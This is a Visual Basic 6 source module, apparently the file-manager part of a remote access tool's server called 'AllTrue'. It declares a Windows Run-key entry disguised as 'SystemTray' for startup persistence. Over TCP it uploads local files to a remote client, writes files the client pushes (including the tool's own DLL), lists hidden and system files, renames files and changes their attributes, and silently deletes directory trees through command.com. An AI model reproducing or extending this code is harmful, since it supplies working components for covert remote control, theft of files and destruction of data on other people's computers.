Attribute VB_Name = "FileAdmin"
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Const ALLTRUEDLL = "AllTrue.dll"
Const ATDLL = "ATDLL"
Const WININI_KEY = "Software\Microsoft\Windows\CurrentVersion\Run"
Const allTrueREG = "SystemTray"
Const allTrueTEMP = "tmp.at"

Global sendingData As Boolean

Global sending As Boolean
Global receiving As Boolean
Global transCancel As Boolean

Global Largo As Long
Global szArchivo As String
Global Route As String
Global FOK As Boolean

Sub Attr(Action As Integer, szRoute As String, Optional iAttr As VbFileAttribute = vbNormal, Optional newName As String)
On Error Resume Next
'Action
'0: Cambiar nombre
'1: Enviar Atributos
'2: Cambiar Atributos
'3: Enviar Tamaño
'4: Enviar Fecha
Select Case Action
    Case 0
    Name szRoute As desglosarRuta(szRoute, 0) & newName
    Case 1
    server.TCP.SendData "ATT" & GetAttr(szRoute)
    Case 2
    SetAttr szRoute, iAttr
    Case 3
    server.TCP.SendData "TAM" & FileLen(szRoute)
    Case 4
    server.TCP.SendData "DDT" & FileDateTime(szRoute)
End Select
End Sub

Sub sendFile(LocalRoute As String)
On Error GoTo etError
    With server
    Dim dat As String
            Dim buf As String * 1024
            Open LocalRoute For Binary As #1
            'Enviamos el tamaño del archivo
            If LOF(1) = 0 Then
                sendErr "El archivo seleccionado está vacío (0 Bytes)"
                GoTo etEnd
            End If
            sending = True
            dat = "FSZ" & LOF(1)
            waitSend dat
            'Enviamos el Archivo
                    Do While Not EOF(1)
                        DoEvents
                        Get #1, , buf
                        If Not transCancel Then
                            waitSend buf
                        Else
                            transCancel = False
                            Exit Do
                        End If
etEnd:
                    Loop
                Close
    sending = False
    End With
Exit Sub
etError:
sendErr
End Sub

Sub sendErr(Optional Texto As String)
Dim dat As String
Debug.Print "Error en procesamiento de datos, enviando error al Kliente..."
If Texto = "" Then
    dat = Err.Description
Else
    dat = Texto
End If
server.TCP.SendData "ERR" & dat
End Sub

Sub waitSend(data As String)
With server.TCP
sendingData = True
    .SendData data
    While sendingData
    DoEvents
    Wend
End With
End Sub

Sub filePrepare()
If Route = "" Then
'Si no se especifica el archivo, se toma como Archivo Temp (tmp.at)
    Route = combineRute(App.Path, allTrueTEMP)
ElseIf Route = "%DLL%" Then
'Si se especifica la etiqueta %DLL% se toma como AllTrue.dll
Dim hModule As Long
    Route = combineRute(App.Path, ALLTRUEDLL)
End If
'Se elimina el archivo anterior para no escribir en él
If FileExist(Route) Then Kill Route
End Sub

Sub fileReceive(dat As String)
On Error GoTo etError
        receiving = True
        szArchivo = szArchivo & dat
        If Len(szArchivo) >= Largo Then
        szArchivo = Left(szArchivo, Largo)
        Open Route For Binary As #1
            Put #1, , szArchivo
            Largo = 0
            szArchivo = ""
            receiving = False
        Close #1
        End If
Exit Sub
etError:
sendErr
End Sub

Sub makeDir(szDir As String)
If szDir <> "" And Not FileExist(szDir) Then MkDir szDir
End Sub

Sub deleteDir(DirName As String)
'Eliminamos todos los archivos
Shell "command.com /C del " & combineRute(DirName, "*.*") & " /q /s"
deleteDir2 DirName
End Sub

Private Sub deleteDir2(DirName As String)
Const ATTR_NORMAL = 0
Const ATTR_DIRECTORY = 16
Dim OriginalDir, FileName As String, NextFileName As String
OriginalDir = CurDir$
ChDir DirName
'FileName = Dir$("*.*", ATTR_NORMAL)
 '       Do While FileName <> ""
 '       Kill FileName
 '       FileName = Dir$
 '       Loop
'If Dir("*.*", vbArchive + vbHidden + vbReadOnly + vbSystem) <> "" Then Kill "*.*"
Do
    FileName = Dir$("*.*", ATTR_DIRECTORY)
    While FileName = "." Or FileName = ".."
        FileName = Dir$
    Wend
    If FileName = "" Then Exit Do
    deleteDir2 FileName
Loop
ChDir OriginalDir
RmDir DirName
End Sub

Sub sendDisplayDirectory(szDir As String)
On Error Resume Next
Dim dat As String
Dim item As String
If Dir(szDir, vbDirectory + vbArchive + vbHidden + vbReadOnly + vbSystem) = "" Then GoTo noExiste
'Desplegamos los directorios
    ChDir szDir
    item = Dir$("*.*", vbDirectory + vbArchive + vbHidden + vbReadOnly + vbSystem)
    While item <> ""
        If IsDirectory(item) Then dat = dat & item & "?" & 1 + -CInt(IsHiddenFile(item)) & "?"
        item = Dir$
    Wend
server.TCP.SendData "DID" & dat
Exit Sub
noExiste:
server.TCP.SendData "ERREl directorio " & szDir & " no existe..."
End Sub

Sub sendDisplayFiles(szDir As String)
On Error Resume Next
Dim dat As String
Dim item As String
ChDir szDir
'Desplegamos los archivos
item = Dir$("*.*", vbArchive + vbHidden + vbReadOnly + vbSystem)
While item <> ""
    dat = dat & item & 3 + -CInt(IsHiddenFile(item)) & "?"
    item = Dir$
Wend
server.TCP.SendData "DIF" & dat
End Sub


